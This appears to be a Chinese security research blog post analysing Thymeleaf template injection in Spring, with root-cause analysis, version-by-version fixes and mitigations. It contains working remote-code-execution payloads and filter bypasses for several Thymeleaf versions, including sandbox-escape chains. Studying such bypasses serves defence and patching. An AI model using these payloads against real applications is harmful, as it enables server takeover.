拍摄于:烟台大学小树林
最近在研究代码审计,顺便学到了Thymeleaf模板注入
本文主要分析Thymeleaf模板注入的利用和修复,以及各版本的修复方式和绕过方式
这是目前最常见的利用方式
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div th:text="${6*6}"></div>
</html>${}里面的内容其实是执行的SPEL表达式
后续版本Thymeleaf 添加了沙箱防护机制,限制了一些黑名单类
在Thymeleaf 3.0.0 至 3.0.11 版本存在该漏洞
@Controller
publicclassThymeleafDemoController{
@GetMapping("/path")
publicString path(String path){
return"user/"+ path +"/welcome";
}
}利用poc
path=__${6*6}__::
path=__${T(Runtime).getRuntime().exec("open -a calculator.app")}__::具体原理就是使用Thymeleaf进行渲染是调用的ThymeleafView.render()函数
然后调用的renderFragment()函数进行渲染
此时templateName是return回来的值
将templateName赋值给viewTemplateName
然后对viewTemplateName值进行判断,是否存在::,不存在则赋值给templateName
否则进行下一步解析调用了parseExpression()函数,最后跟到preprocess()函数
preprocess()函数会正则匹配__xxx__中的内容,然后调用StandardExpressionParser进行解析
最终导致SPEL表达式注入
也是Thymeleaf 3.0.0 至 3.0.11 版本存在
@Controller
public class ThymeleafDemoController {
@RequestMapping("/ThymeleafUri/{path}")
public void ThymeleafUri(@PathVariable String path) {
}
}就是springboot定义的控制器,如果是@controller注解,并且无return返回值,就会将Mapping的路由作为视图名称去解析
注意的是可控字符为字符串格式
利用poc
/ThymeleafUri/__$%7bT(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::aaaaaa.aaaa注意这里编码、空格要用%20
Thymeleaf3.0.12版本修复是添加了一个拦截方法containsSpELInstantiationOrStatic()
/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringStandardExpressionUtils.class大致检测思路是倒序检测是否包含 wen关键字,以及在(的左边的字符是否是T
也就是限制了new xxx和T()的类调用
threedr3am师傅使用空格或空字符绕过,只要T和()不连续即可
https://github.com/thymeleaf/thymeleaf-spring/issues/256
path=__${T%20(Runtime).getRuntime().exec("open -a calculator.app")}__::/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdasThymeleaf3.0.12版本修复同时添加了一个检测函数checkViewNameNotInRequest()
/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringRequestUtils.class检测原理就是判断return返回的值和request的路径进行比较,查看URL是否包含vn值
存在就报错,阻止后续的解析
这种是针对UriPath利用方式的拦截
/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas像TemplateName利用是无效的
path=__${T (Runtime).getRuntime().exec("open -a calculator.app")}__::threedr3am师傅方法,使用;或//进行绕过
/ThymeleafUri;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas如果发现路径中存在分号,那么会调用removeSemicolonContent方法来移除分号,从而导致URL和vn值不一致
/ThymeleafUri//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas/ThymeleafUri/;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdasThymeleaf3.0.14版本的修复,对containsSpELInstantiationOrStatic()函数检测进行了完善
对T和()中间空字符进行绕过修复
所以使用T%20()的方式调用类绕不过去了
使用SPEL的反射调用即可
path=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::Thymeleaf3.0.14版本对checkViewNameNotInRequest()检测函数也进行了完善
可以看到添加了一个containsExpression()判断函数,用来匹配$*#@~的下一个字符是不是{,是的话判断为表达式
然后对UriPath利用方式改变了判断方式,也进行containsExpression{}判断
并且也对templatename利用进行了containsExpression{}判断
意思就是不管哪种方式,只要有${字符,就判断为表达式,就阻止后续运行。
绕过思路无非就是不使用${}或在${之间加点字符造成绕过
跟了很久的后续链路,发现Thymeleaf3.0.15.RELEASE版本之前LiteralSubstitutionUtil()函数会置空||字符
/org/thymeleaf/thymeleaf/3.0.14.RELEASE/thymeleaf-3.0.14.RELEASE.jar!/org/thymeleaf/standard/expression/LiteralSubstitutionUtil.classperformLiteralSubstitution()函数会将表达式转换一下内容
大体意思就是遇到|xx|会转换成'xx' 或'+'字符串拼接方式
但是||中间如果没有字符,则会置空||,也就是说$||{}会被转换为${},从而导致绕过containsExpression()检测
然后使用||和反射配合即可绕过
path=__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::/ThymeleafUri/__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open%20-a%20calculator.app')}__::assadasd.asdasThymeleaf3.0.15.RELEASE版本开始修复了LiteralSubstitutionUtil()函数,添加||了
从Thymeleaf3.0.15版本开始到现在最新3.1.2.RELEASE版本,就是针对Html文件利用不停的添加黑名单了
当然,研究了一阵发现也是可以绕过的,由于涉及Thymeleaf最新版本这里就不公布细节了
下面可以看到,最新版本ruoyi使用的Thymeleaf3.0.15,完全可以打的
后续版本更新就是针对各种沙箱黑名单的绕过了
1、SpelExpressionParser类
只要找不在黑名单里面类即可
比如SPEL表达式反射调用SpelExpressionParser,再解析一次SPEL表达式,套娃即可
${'a'.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("'a'.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator.app')").getValue()}2、OptionHelper类
比如Squirt1e老哥的链,使用的ch.qos.logback.core.util.OptionHelper
原版POC
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]1、配置@ResponseBody或@RestController注解
2、return使用redirect:开头
根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
https://xz.aliyun.com/t/10514
https://xz.aliyun.com/t/14759
https://www.cnpanda.net/sec/1063.html
https://threedr3am.github.io/2021/04/26/3.0.12%20Thymeleaf%20RCE%20Bypass%EF%BC%88%E8%8B%A5%E4%BE%9Druoyi%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%E5%90%8E%E5%8F%B0RCE%EF%BC%89/
Scan to Follow